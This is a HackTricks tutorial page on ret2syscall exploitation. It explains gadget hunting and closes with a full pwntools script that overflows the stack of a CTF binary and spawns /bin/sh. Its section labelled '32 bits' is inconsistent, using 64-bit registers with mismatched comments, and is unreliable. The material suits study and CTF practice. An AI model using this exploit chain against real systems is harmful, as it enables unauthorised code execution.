mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 12:03:37 +00:00
226 lines
8.2 KiB
Markdown
226 lines
8.2 KiB
Markdown
# Ret2syscall
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Basic Information
|
|
|
|
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
|
|
|
|
In order to prepare the call for the **syscall** it's needed the following configuration:
|
|
|
|
* `rax: 59 Specify sys_execve`
|
|
* `rdi: ptr to "/bin/sh" specify file to execute`
|
|
* `rsi: 0 specify no arguments passed`
|
|
* `rdx: 0 specify no environment variables passed`
|
|
|
|
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
|
|
|
|
{% hint style="success" %}
|
|
Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [ret2shellcode](stack-shellcode.md).
|
|
{% endhint %}
|
|
|
|
## Register gadgets
|
|
|
|
Let's start by finding **how to control those registers**:
|
|
|
|
```c
|
|
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
|
0x0000000000415664 : pop rax ; ret
|
|
0x0000000000400686 : pop rdi ; ret
|
|
0x00000000004101f3 : pop rsi ; ret
|
|
0x00000000004498b5 : pop rdx ; ret
|
|
```
|
|
|
|
With these addresses it's possible to **write the content in the stack and load it into the registers**.
|
|
|
|
## Write string
|
|
|
|
### Writable memory
|
|
|
|
First you need to find a writable place in the memory
|
|
|
|
```bash
|
|
gef> vmmap
|
|
[ Legend: Code | Heap | Stack ]
|
|
Start End Offset Perm Path
|
|
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
|
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
|
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
|
```
|
|
|
|
### Write String in memory
|
|
|
|
Then you need to find a way to write arbitrary content in this address
|
|
|
|
```bash
|
|
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
|
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
|
```
|
|
|
|
### Automate ROP chain
|
|
|
|
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
|
|
|
|
```bash
|
|
ROPgadget --binary vuln --ropchain
|
|
```
|
|
|
|
#### 32 bits
|
|
|
|
```python
|
|
'''
|
|
Lets write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
|
|
rop += popRdx # place value into EAX
|
|
rop += "/bin" # 4 bytes at a time
|
|
rop += popRax # place value into edx
|
|
rop += p32(0x6b6000) # Writable memory
|
|
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|
|
|
rop += popRdx
|
|
rop += "//sh"
|
|
rop += popRax
|
|
rop += p32(0x6b6000 + 4)
|
|
rop += writeGadget
|
|
```
|
|
|
|
#### 64 bits
|
|
|
|
```python
|
|
'''
|
|
Lets write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
rop = ''
|
|
rop += popRdx
|
|
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
|
rop += popRax
|
|
rop += p64(0x6b6000) # Writable memory
|
|
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|
```
|
|
|
|
## Lacking Gadgets
|
|
|
|
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
|
|
|
|
{% content-ref url="srop-sigreturn-oriented-programming.md" %}
|
|
[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
|
|
{% endcontent-ref %}
|
|
|
|
There might be gadgets in the vDSO region, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
|
|
|
|
## Exploit Example
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
target = process('./speedrun-001')
|
|
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
|
|
|
# Establish our ROP Gadgets
|
|
popRax = p64(0x415664)
|
|
popRdi = p64(0x400686)
|
|
popRsi = p64(0x4101f3)
|
|
popRdx = p64(0x4498b5)
|
|
|
|
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
|
writeGadget = p64(0x48d251)
|
|
|
|
# Our syscall gadget
|
|
syscall = p64(0x40129c)
|
|
|
|
'''
|
|
Here is the assembly equivalent for these blocks
|
|
write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
rop = ''
|
|
rop += popRdx
|
|
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
|
rop += popRax
|
|
rop += p64(0x6b6000)
|
|
rop += writeGadget
|
|
|
|
'''
|
|
Prep the four registers with their arguments, and make the syscall
|
|
|
|
pop rax, 0x3b
|
|
pop rdi, 0x6b6000
|
|
pop rsi, 0x0
|
|
pop rdx, 0x0
|
|
|
|
syscall
|
|
'''
|
|
|
|
rop += popRax
|
|
rop += p64(0x3b)
|
|
|
|
rop += popRdi
|
|
rop += p64(0x6b6000)
|
|
|
|
rop += popRsi
|
|
rop += p64(0)
|
|
rop += popRdx
|
|
rop += p64(0)
|
|
|
|
rop += syscall
|
|
|
|
|
|
# Add the padding to the saved return address
|
|
payload = "0"*0x408 + rop
|
|
|
|
# Send the payload, drop to an interactive shell to use our new shell
|
|
target.sendline(payload)
|
|
|
|
target.interactive()
|
|
```
|
|
|
|
## Other Examples & References
|
|
|
|
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
|
* 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
|
|
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
|
* 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
|
|
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
|
* 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
|
* [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)
|
|
* 32 bits, no ASLR, use vDSO to find ROP gadgets and call `execve`.
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|